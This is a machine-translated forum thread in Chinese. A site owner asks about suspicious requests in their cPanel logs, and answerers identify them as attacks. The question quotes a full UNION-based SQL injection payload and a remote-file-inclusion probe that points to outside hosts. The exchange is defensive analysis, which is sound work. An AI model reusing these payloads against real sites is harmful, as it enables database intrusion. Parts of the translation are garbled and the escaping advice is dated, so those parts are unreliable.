Php 这是注入尝试还是正常请求？

在cPanel的模拟统计模块中，我注意到无数连接到以下示例的请求：

/?x=19&y=15

数字是随机的，但它总是设置x和y变量

另一类神秘的请求：

/?id=http://nic.bupt.edu.cn/media/j1.txt??

在请求日志中还有其他注入尝试，它们也会直接写入sql。例如：

 /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13--

看起来他们都达到了404，但我仍然想知道这些背后的意图

我知道这很模糊，但也许有人知道在使用cPanel&phpMyAdmin服务时这是正常的。此外，网站上安装了搜索框，这可能是原因

关于这些是什么有什么建议吗

---

编辑

我从请求列表中提取了所有这些内容，并切掉了它们指向的文本。也许这能提供更多的帮助，了解这些攻击是什么类型的

http://www.diakonia-jkt.sch.id
http://www.nationalmedecine.com
http://muzykologia.lublin.pl
http://www.abi.co.uk
http://stul.netsolutions.cz
http://jack.tiscali.it
http://solid.go.ro
http://nic.bupt.edu.cn
http://www.europeanforumcyprus.eu
http://www.nationalmedecine.com

---

另外，在phpMyAdmin状态部分，它显示了每小时约900个change db查询。只有select权限的用户是否会对数据库造成任何实际损害？上面没有个人信息，但是这些SOB正在阻塞带宽。

这个

x=19&y=15

看起来你的网站上有一个带有

method=get

的表单和一个输入

type=image

。您是否记录引用人？

/？x=19&y=15

可以表示一个id=？？看起来像是一些跨站点的东西，一个无用的东西，因为它加载一个纯文本文件O_O

这些（除了上面的一个）是自动的（？）试图发现代码中的弱点

/？id=

尝试从其他服务器导入PHP页面。这是一个众所周知的问题，尤其是旧的PHP软件

---

“UNION ALL SELECT 1”显然是一种SQL插入尝试。架构ID 0x736363726F6F745F7075626C6963解码为“scccroot_public”。我不确定这是哪个数据库。但是他们正在试图控制它，这是肯定的。

我们所有的脚本不是也都是文本文件吗？php脚本和其他许多脚本一样都是文本文件。问题是：这个特定的请求指向一个纯文本文件，它不是由任何浏览器、插件或应用程序执行的（除了gedit或记事本…或者由浏览器显示为按特定顺序排列的字符序列）。似乎是相当有名的：是否还有另一个projecthoneypot.org类型的站点？为了解决带宽问题，就像没有明天一样禁止IP。如果是联合查询，我会说，鉴于它们显然有您的公共数据库的名称，这不是注入尝试，而是注入成功。可能您的所有数据都已泄露，请返回并检查日志（搜索UNION、SELECT等）以查看哪些信息被泄露。恶意用户不需要拥有选择之外的特权就可以破坏您的数据。只是注意到您说其中没有个人信息。好的，那么您的数据被泄露不会造成太大的伤害，但至少为了最佳实践，您仍然应该修复这些小漏洞。我们有表单，但不是像那样偏离根路径。。。。除非我们的网络人有实验。我不认为任何表单都有图像类型，但是谢谢你提供的信息。我们做日志引用，但我仍然在寻找，因为我在CPANELW的aw统计锁在外面，但它似乎相当无害相比，其他2个条目！太棒了，谢谢你的信息。。。scccroot_public是我们的公共数据库，我们只有一个用户具有select privs。。。。这个人/机器人还能自称为dba吗？关于这个联合查询，值得注意的一件有趣的事情是，它显然只起作用，因为您有一个查询，在该查询中，您可以在不使用引号的情况下检查数字。如果您总是用引号括住要检查的参数，并进行适当的数据转义和清理（例如

mysql\u real\u escape\u string（）

），那么您不应该容易受到此类攻击。然而，就目前情况而言，如果查询中的数字参数不使用引号，即使运行mysql“u real”u escape“string之类的典型清理例程也无济于事everything@rmeador-这不是我的网站，但这就是我建议我们做的——有很多愚蠢的解压和模板脚本。很可能有一个（或多个）具有此攻击者正在探测的

构造。